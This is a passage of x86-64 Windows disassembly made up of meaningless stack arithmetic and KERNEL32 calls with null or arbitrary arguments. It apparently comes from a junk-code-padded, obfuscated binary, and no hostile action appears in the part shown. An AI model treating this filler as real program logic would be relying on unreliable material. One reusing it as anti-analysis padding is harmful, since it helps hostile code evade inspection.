mov rcx, qword [rsp + 0x12ce0]
mov qword [rsp + 0x13840], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13840]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9b10], eax
mov eax, dword [rsp + 0x6b08]
mov ecx, dword [rsp + 0x9bec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b2c], eax
lea rax, [rsp + 0x9ae8]
mov qword [0x140369d30], rax
movzx eax, byte [rsp + 0x747]
movzx ecx, byte [rsp + 0x72f]
imul eax, ecx
mov byte [rsp + 0x225], al
lea rax, [0x140369c88]
mov qword [rsp + 0x13848], rax
mov rax, qword [rsp + 0x130c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13310]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13050]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x743], al
lea rax, [rsp + 0x9a80]
mov qword [rsp + 0x13850], rax
mov rax, qword [rsp + 0x13190]
mov rcx, qword [rsp + 0x13800]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b88], eax
lea rax, [rsp + 0x585]
mov qword [rsp + 0x13858], rax
mov rax, qword [0x140369b80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x136d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13418]
mov rcx, qword [rsp + 0x13450]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140369d28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b30]
mov ecx, dword [rsp + 0x9a6c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13548]
mov dword [rcx], eax
lea rax, [rsp + 0x9b88]
mov qword [rsp + 0x13860], rax
mov rax, qword [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x135b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5418], eax
mov edx, 0x1477
mov rcx, qword [rsp + 0x13618]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a8c], eax
mov rax, qword [rsp + 0x133c8]
movzx eax, word [rax]
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0x13170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72d]
sub eax, ecx
mov rcx, qword [rsp + 0x13128]
mov byte [rcx], al
mov rax, qword [rsp + 0x13660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a40], eax
mov rax, qword [rsp + 0x130d0]
mov rcx, qword [0x140369bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x58d4], eax
mov dword [rsp + 0x20], 0x10a
mov r9d, 0x2799
mov r8d, 0x199f
mov edx, 0x31b1
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9bf8], eax
mov eax, dword [rsp + 0x9970]
mov rcx, qword [rsp + 0x13438]
mov qword [rsp + 0x13868], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13868]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9a00], eax
mov eax, dword [rsp + 0x9bb0]
mov dword [0x140369d38], eax
lea rax, [rsp + 0x9a70]
mov qword [rsp + 0x13870], rax
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [rsp + 0x135a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13550]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x135a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bc8]
mov word [rsp + 0x2c04], ax
movzx eax, byte [rsp + 0x739]
movzx ecx, byte [rsp + 0x742]
shl eax, cl
mov byte [rsp + 0x750], al
lea rdx, [rsp + 0x42ca0]
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x13158]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2324], ax
mov rax, qword [rsp + 0x12f68]
mov ecx, dword [rsp + 0x9aec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f2c], eax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [rsp + 0x636c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9730], eax
lea rax, [rsp + 0x74d]
mov qword [rsp + 0x13878], rax
movzx eax, word [rsp + 0x20d8]
mov rcx, qword [rsp + 0x130a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369c80]
mov word [rcx], ax
mov rax, qword [rsp + 0x13210]
mov eax, dword [rax]
mov ecx, dword [0x140369b98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e20], eax
mov rax, qword [rsp + 0x13030]
mov ecx, dword [rsp + 0x9b3c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a90], eax
lea rax, [0x140362480]
mov qword [rsp + 0x13880], rax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x12f58]
mov ecx, dword [rsp + 0x8e20]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13210]
mov dword [rcx], eax
lea rax, [rsp + 0x1ab8]
mov qword [rsp + 0x13888], rax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
or eax, ecx
mov byte [rsp + 0x742], al
mov rax, qword [rsp + 0x13838]
mov rcx, qword [rsp + 0x13018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a10], eax
lea rax, [rsp + 0x567c]
mov qword [rsp + 0x13890], rax
mov rax, qword [rsp + 0x130c0]
movsx eax, word [rax]
movsx ecx, word [0x140362454]
add eax, ecx
mov word [0x14036248c], ax
movsx eax, byte [rsp + 0x731]
mov rcx, qword [rsp + 0x12f60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x66b], al
lea rax, [rsp + 0x1c5c]
mov qword [rsp + 0x13898], rax
movzx eax, byte [rsp + 0x120]
movzx ecx, byte [0x140363efe]
sar eax, cl
mov byte [rsp + 0x361], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rax, [rsp + 0x9a50]
mov qword [rsp + 0x138a0], rax
mov edx, 0x1296
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b94], eax
mov eax, dword [rsp + 0x9bdc]
movzx ecx, al
mov eax, dword [rsp + 0x9a00]
shl eax, cl
mov dword [rsp + 0x9970], eax
mov rax, qword [rsp + 0x130c8]
mov ecx, dword [rsp + 0x9a78]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9968], eax
mov eax, dword [rsp + 0x6b08]
mov dword [rsp + 0x9bfc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x9a90]
mov ecx, dword [rsp + 0x9b24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9990], eax
lea rax, [rsp + 0x2c00]
mov qword [rsp + 0x138a8], rax
movzx eax, byte [rsp + 0x73d]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [0x140369c98]
mov byte [rcx], al
mov rax, qword [rsp + 0x135b0]
mov rcx, qword [rsp + 0x131f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
mov rax, qword [0x140369c78]
mov ecx, dword [rsp + 0x9a40]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9b30], eax
mov eax, dword [rsp + 0x997c]
mov dword [rsp + 0x9c00], eax
mov rax, qword [rsp + 0x12f58]
mov ecx, dword [rsp + 0x9a74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5330], eax
mov rax, qword [rsp + 0x13708]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x716]
add eax, ecx
mov byte [rsp + 0x1b8], al
mov rax, qword [rsp + 0x13508]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x133c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bac], ax
mov rax, qword [rsp + 0x13188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72c]
sub eax, ecx
mov byte [rsp + 0x749], al
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x138b0], rax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69c8]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140369bd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ef0]
mov ecx, dword [rsp + 0x7a5c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9a90], eax
movzx eax, word [rsp + 0x1c5c]
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x136a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x737]
sub eax, ecx
mov byte [rsp + 0x243], al
mov eax, dword [rsp + 0x6a84]
mov rcx, qword [rsp + 0x13108]
mov qword [rsp + 0x138b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x138b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x73c0], eax
mov dword [rsp + 0x20], 0x1b10
mov r9d, 0x3a8
mov r8d, 0x13f6
mov edx, 0x29aa
mov rcx, qword [rsp + 0x13798]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9b0c], eax
lea rax, [rsp + 0x6f2c]
mov qword [rsp + 0x138c0], rax
mov rax, qword [rsp + 0x13580]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13890]
mov qword [rsp + 0x138c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x138c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13440]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b78]
mov ecx, dword [0x140362480]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x602c], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bd8]
and eax, ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
lea rax, [rsp + 0x74a]
mov qword [0x140369d40], rax
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov dword [rsp + 0x9c04], eax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x5498]
mov ecx, dword [rsp + 0x81d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13030]
mov ecx, dword [rsp + 0x7a5c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x137a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b64]
mov dword [rsp + 0x9c08], eax
mov rax, qword [rsp + 0x13160]
mov ecx, dword [rsp + 0x9b60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a54], eax
mov rax, qword [rsp + 0x12e98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x268c]
and eax, ecx
mov word [rsp + 0x12cc], ax
mov rax, qword [rsp + 0x12ed0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13788]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13188]
mov byte [rcx], al
mov rax, qword [rsp + 0x13848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13508]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13898]
mov word [rcx], ax
mov rax, qword [rsp + 0x13528]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13708]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140369ce8]
mov byte [rcx], al
mov eax, dword [rsp + 0x99e4]
mov dword [rsp + 0x9c0c], eax
mov eax, dword [rsp + 0x9b54]
mov ecx, dword [rsp + 0x9ab0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e4], eax
movzx eax, byte [0x140363edf]
mov rcx, qword [rsp + 0x13120]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x678], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2c08]
mov rcx, qword [rsp + 0x133b8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x13138]
mov word [rcx], ax
mov rax, qword [rsp + 0x133e0]
mov ecx, dword [rsp + 0x9a24]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13688]
mov dword [rcx], eax
lea rdx, [rsp + 0x42ca0]
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af8], eax
lea rax, [rsp + 0x9b54]
mov qword [rsp + 0x138d0], rax
mov rax, qword [rsp + 0x13260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a5c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6278], eax
lea rax, [rsp + 0x9b20]
mov qword [rsp + 0x138d8], rax
lea rax, [rsp + 0x728]
mov qword [0x140369d48], rax
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13888]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x133a0]
mov qword [rsp + 0x138e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x138e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a9c], eax
mov eax, dword [rsp + 0x9aa0]
mov dword [rsp + 0x9c10], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9c14], eax
mov rax, qword [rsp + 0x13378]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13330]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13268]
mov word [rcx], ax
movzx eax, byte [rsp + 0x73e]
mov byte [rsp + 0x751], al
mov rax, qword [0x140369d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x741]
and eax, ecx
mov rcx, qword [rsp + 0x13340]
mov byte [rcx], al
lea rax, [rsp + 0x2bf8]
mov qword [rsp + 0x138e8], rax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12e88]
mov eax, dword [rax]
mov dword [0x140369d50], eax
mov dword [rsp + 0x20], 0x585
mov r9d, 0x1477
mov r8d, 0x11fb
mov edx, 0xa88
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9ba4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0x9aa0]
mov ecx, dword [rsp + 0x9a24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x82a8], eax
mov eax, dword [rsp + 0x8e2c]
mov ecx, dword [rsp + 0x9ba0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9748], eax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9c18], eax
mov rax, qword [rsp + 0x13750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13738]
movzx eax, word [rax]
mov word [rsp + 0x2c0c], ax
movzx eax, byte [rsp + 0x741]
mov rcx, qword [0x140369d40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x745], al
mov rax, qword [rsp + 0x13768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13660]
mov dword [rcx], eax
lea rax, [rsp + 0x9a64]
mov qword [rsp + 0x138f0], rax
mov rax, qword [rsp + 0x13750]
mov ecx, dword [0x140369c28]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x53f0], eax
mov rax, qword [rsp + 0x13548]
mov ecx, dword [rsp + 0x9acc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140369c78]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea rax, [rsp + 0x2b94]
mov qword [rsp + 0x138f8], rax
mov rax, qword [rsp + 0x132a0]
movzx eax, byte [rax]
movzx ecx, byte [0x140363eff]
add eax, ecx
mov rcx, qword [rsp + 0x13460]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
movsx eax, word [rsp + 0x2008]
mov rcx, qword [rsp + 0x13658]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x268c], ax
lea rax, [rsp + 0x518]
mov qword [rsp + 0x13900], rax
mov edx, 0x88d
mov rcx, qword [rsp + 0x136b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b4c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x13518]
mov eax, dword [rax]
mov ecx, dword [0x140369c64]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b8c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a4c], eax
lea rax, [rsp + 0x9b2c]
mov qword [rsp + 0x13908], rax
movzx eax, word [rsp + 0x2bec]
mov rcx, qword [rsp + 0x13360]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x15b4
mov r9d, 0x12b
mov r8d, 0x29c4
mov edx, 0x2bcb
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9ad8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x13910], rax
lea rax, [0x140363f0d]
mov qword [rsp + 0x13918], rax
mov rax, qword [rsp + 0x13338]
mov eax, dword [rax]
mov dword [0x140369d54], eax
mov eax, dword [rsp + 0x9ad4]
movzx ecx, al
mov eax, dword [rsp + 0x8ca0]
shl eax, cl
mov dword [rsp + 0x9a88], eax
mov eax, dword [0x14036244c]
mov ecx, dword [rsp + 0x870c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aac], eax
lea rax, [rsp + 0x57fc]
mov qword [rsp + 0x13920], rax
mov rax, qword [rsp + 0x13120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13128]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x13578]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1384], ax
mov eax, dword [rsp + 0x5498]
mov ecx, dword [rsp + 0x9bec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99e8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bb4], eax
lea rax, [rsp + 0x99d8]
mov qword [rsp + 0x13928], rax
mov rax, qword [rsp + 0x133d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9aa0]
add ecx, eax
mov eax, ecx
mov dword [0x140362470], eax
mov dword [rsp + 0x20], 0x357d
mov r9d, 0x1c8a
mov r8d, 0x3e1a
mov edx, 0x2efc
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9ad8], eax
mov rax, qword [0x140369d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x602c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movzx eax, word [rsp + 0x268c]
mov word [rsp + 0x2c10], ax
movsx eax, byte [rsp + 0x73c]
movsx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov byte [rsp + 0x512], al
mov rax, qword [rsp + 0x133b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be8]
add eax, ecx
mov word [rsp + 0x20d8], ax
lea rax, [rsp + 0x72e]
mov qword [rsp + 0x13930], rax
mov rax, qword [rsp + 0x135b0]
mov ecx, dword [rsp + 0x9be4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ba8], eax
lea rax, [rsp + 0x6278]
mov qword [rsp + 0x13938], rax
movzx eax, byte [0x140363f0d]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
lea rax, [rsp + 0x2bb4]
mov qword [0x140369d58], rax
mov eax, dword [rsp + 0x9970]
movzx ecx, al
mov eax, dword [rsp + 0x940c]
shr eax, cl
mov dword [rsp + 0x9b10], eax
mov rax, qword [rsp + 0x12fa0]
mov eax, dword [rax]
mov dword [rsp + 0x9c1c], eax
mov rax, qword [rsp + 0x13498]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12fa0]
mov qword [rsp + 0x13940], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13940]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a48], eax
lea rax, [rsp + 0x9b54]
mov qword [rsp + 0x13948], rax
mov rax, qword [rsp + 0x13810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd4]
xor eax, ecx
mov word [rsp + 0x2b94], ax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x13950], rax
mov rax, qword [rsp + 0x132b8]
mov ecx, dword [rsp + 0x8ca0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9a88], eax
mov rax, qword [rsp + 0x131f0]
mov eax, dword [rax]
mov ecx, dword [0x140362464]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13880]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
movsx eax, byte [rsp + 0x66b]
movsx ecx, byte [rsp + 0x731]
add eax, ecx
mov byte [0x14035259e], al
lea rax, [rsp + 0x1e24]
mov qword [rsp + 0x13958], rax
mov rax, qword [0x140369d40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13918]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x361], al
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x13960], rax
mov dword [rsp + 0x4b490], 0x11c
mov eax, dword [0x140369bc4]
mov ecx, dword [rsp + 0x9bb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aec], eax
mov rax, qword [rsp + 0x13080]
mov rcx, qword [rsp + 0x130b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b70], eax
lea rax, [rsp + 0x9b88]
mov qword [rsp + 0x13968], rax
mov rax, qword [rsp + 0x13498]
mov ecx, dword [0x140362470]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x131c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x8880]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6218], eax
movzx eax, word [rsp + 0x17fc]
mov rcx, qword [rsp + 0x13810]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1384], ax
movzx eax, byte [rsp + 0x72a]
movzx ecx, byte [rsp + 0x3d2]
and eax, ecx
mov byte [0x140363f0d], al
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ee8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b58], eax
mov dword [rsp + 0x20], 0x10a
mov r9d, 0x2799
mov r8d, 0x199f
mov edx, 0x31b1
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a58], eax
mov rcx, qword [rsp + 0x13480]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x136d0]
mov eax, dword [rax]
mov dword [rsp + 0x9c20], eax
mov eax, dword [rsp + 0x602c]
mov rcx, qword [0x140369c58]
mov qword [rsp + 0x13970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13970]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a14], eax
lea rax, [rsp + 0x9bcc]
mov qword [rsp + 0x13978], rax
movzx eax, word [rsp + 0x2bec]
movzx ecx, word [0x140362448]
sar eax, cl
mov rcx, qword [rsp + 0x13058]
mov word [rcx], ax
lea rax, [rsp + 0x2e7]
mov qword [rsp + 0x13980], rax
mov rax, qword [rsp + 0x12ef8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13788]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13050]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f30]
movsx eax, word [rax]
mov rcx, qword [0x140369cf8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c10], ax
mov rax, qword [rsp + 0x13670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9adc]
and ecx, eax
mov eax, ecx
mov dword [0x140362490], eax
lea rax, [rsp + 0x73c0]
mov qword [rsp + 0x13988], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
movzx eax, word [rsp + 0x2bb4]
movzx ecx, word [0x140369c6c]
add eax, ecx
mov rcx, qword [rsp + 0x131e8]
mov word [rcx], ax
lea rax, [rsp + 0x394]
mov qword [rsp + 0x13990], rax
mov rax, qword [rsp + 0x133d0]
mov rcx, qword [rsp + 0x13750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8880], eax
mov rax, qword [0x140369c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bcc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f00]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x9b08]
mov ecx, dword [rsp + 0x9a48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x78f4], eax
mov edx, 0x1d51
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b80], eax
lea rdx, [rsp + 0x42cd8]
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a1c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9bc8], eax
mov rax, qword [rsp + 0x13320]
mov rcx, qword [rsp + 0x13498]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99e8], eax
lea rax, [0x140362450]
mov qword [rsp + 0x13998], rax
movzx eax, byte [rsp + 0x394]
mov byte [0x140363f0e], al
lea rdx, [rsp + 0x42d10]
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a7c], eax
mov rax, qword [rsp + 0x13438]
mov rcx, qword [rsp + 0x13238]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x86dc], eax
mov rax, qword [rsp + 0x134e8]
mov eax, dword [rax]
mov dword [rsp + 0x9c24], eax
mov rax, qword [rsp + 0x13730]
mov rcx, qword [rsp + 0x133e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9678], eax
lea rax, [0x140369c28]
mov qword [rsp + 0x139a0], rax
movsx eax, byte [rsp + 0x730]
